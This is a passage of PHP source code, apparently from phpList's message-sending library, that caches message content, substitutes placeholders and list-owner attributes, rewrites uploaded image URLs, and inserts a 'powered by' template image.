  1247. output('fetch URL end');
  1248. }
  1249. /*
  1250. print $message['sendurl'];
  1251. print $remote_content;exit;
  1252. */
  1253. } // end if not userspecific url
  1254. if ($cached[$messageid]["htmlformatted"]) {
  1255. # $cached[$messageid]["content"] = compressContent($cached[$messageid]["content"]);
  1256. }
  1257. $cached[$messageid]['google_track'] = $message['google_track'];
  1258. /*
  1259. else {
  1260. print $message['sendurl'];
  1261. exit;
  1262. }
  1263. */
  1264. if (VERBOSE && !empty($GLOBALS['getspeedstats'])) {
  1265. output('parse config start');
  1266. }
  1267. /*
  1268. * this is not a good idea, as it'll replace eg "unsubscribeurl" with a general one instead of personalised
  1269. * if (is_array($GLOBALS["default_config"])) {
  1270. foreach($GLOBALS["default_config"] as $key => $val) {
  1271. if (is_array($val)) {
  1272. $cached[$messageid]['content'] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]['content']);
  1273. $cached[$messageid]["textcontent"] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]["textcontent"]);
  1274. $cached[$messageid]["textfooter"] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]['textfooter']);
  1275. $cached[$messageid]["htmlfooter"] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]['htmlfooter']);
  1276. }
  1277. }
  1278. }
  1279. */
  1280. if (VERBOSE && !empty($GLOBALS['getspeedstats'])) {
  1281. output('parse config end');
  1282. }
  1283. foreach($message as $key => $val) {
  1284. if (!is_array($val)) {
  1285. $cached[$messageid]['content'] = str_ireplace("[$key]",$val,$cached[$messageid]['content']);
  1286. $cached[$messageid]["textcontent"] = str_ireplace("[$key]",$val,$cached[$messageid]["textcontent"]);
  1287. $cached[$messageid]["textfooter"] = str_ireplace("[$key]",$val,$cached[$messageid]['textfooter']);
  1288. $cached[$messageid]["htmlfooter"] = str_ireplace("[$key]",$val,$cached[$messageid]['htmlfooter']);
  1289. }
  1290. }
  1291. if (preg_match("/##LISTOWNER=(.*)/",$cached[$messageid]['content'],$regs)) {
  1292. $cached[$messageid]['listowner'] = $regs[1];
  1293. $cached[$messageid]['content'] = str_replace($regs[0],"",$cached[$messageid]['content']);
  1294. } else {
  1295. $cached[$messageid]['listowner'] = 0;
  1296. }
  1297. if (!empty($cached[$messageid]['listowner'])) {
  1298. $att_req = Sql_Query("select name,value from {$GLOBALS["tables"]["adminattribute"]},{$GLOBALS["tables"]["admin_attribute"]} where {$GLOBALS["tables"]["adminattribute"]}.id = {$GLOBALS["tables"]["admin_attribute"]}.adminattributeid and {$GLOBALS["tables"]["admin_attribute"]}.adminid = ".$cached[$messageid]['listowner']);
  1299. while ($att = Sql_Fetch_Array($att_req)) {
  1300. $cached[$messageid]['content'] = preg_replace("#\[LISTOWNER.".strtoupper(preg_quote($att["name"]))."\]#",$att["value"],$cached[$messageid]['content']);
  1301. }
  1302. }
  1303. $baseurl = $GLOBALS['website'];
  1304. if (defined('UPLOADIMAGES_DIR') && UPLOADIMAGES_DIR) {
  1305. ## escape subdirectories, otherwise this renders empty
  1306. $dir = str_replace('/','\/',UPLOADIMAGES_DIR);
  1307. $cached[$messageid]['content'] = preg_replace('/<img(.*)src="\/'.$dir.'(.*)>/iU','<img\\1src="'.$GLOBALS['public_scheme'].'://'.$baseurl.'/'.UPLOADIMAGES_DIR.'\\2>',$cached[$messageid]['content']);
  1308. }
  1309. //if (defined('FCKIMAGES_DIR') && FCKIMAGES_DIR) {
  1310. //$cached[$messageid]['content'] = preg_replace('/<img(.*)src="\/lists\/'.FCKIMAGES_DIR.'(.*)>/iU','<img\\1src="'.$GLOBALS['public_scheme'].'://'.$baseurl.'/lists/'.FCKIMAGES_DIR.'\\2>',$cached[$messageid]['content']);
  1311. //}
  1312. return 1;
  1313. }
  1314. # make sure the 0 template has the powered by image
  1315. $query
  1316. = ' select *'
  1317. . ' from %s'
  1318. . ' where filename = ?'
  1319. . ' and template = 0';
  1320. $query = sprintf($query, $GLOBALS['tables']['templateimage']);
  1321. $rs = Sql_Query_Params($query, array('powerphplist.png'));
  1322. if (!Sql_Num_Rows($rs)) {
  1323. $query
  1324. = ' insert into %s'
  1325. . ' (template, mimetype, filename, data, width, height)'
  1326. . ' values (0, ?, ?, ?, ?, ?)';
  1327. $query = sprintf($query, $GLOBALS["tables"]["templateimage"]);
  1328. Sql_Query_Params($query, array('image/png', 'powerphplist.png', $newpoweredimage, 70, 30));
  1329. }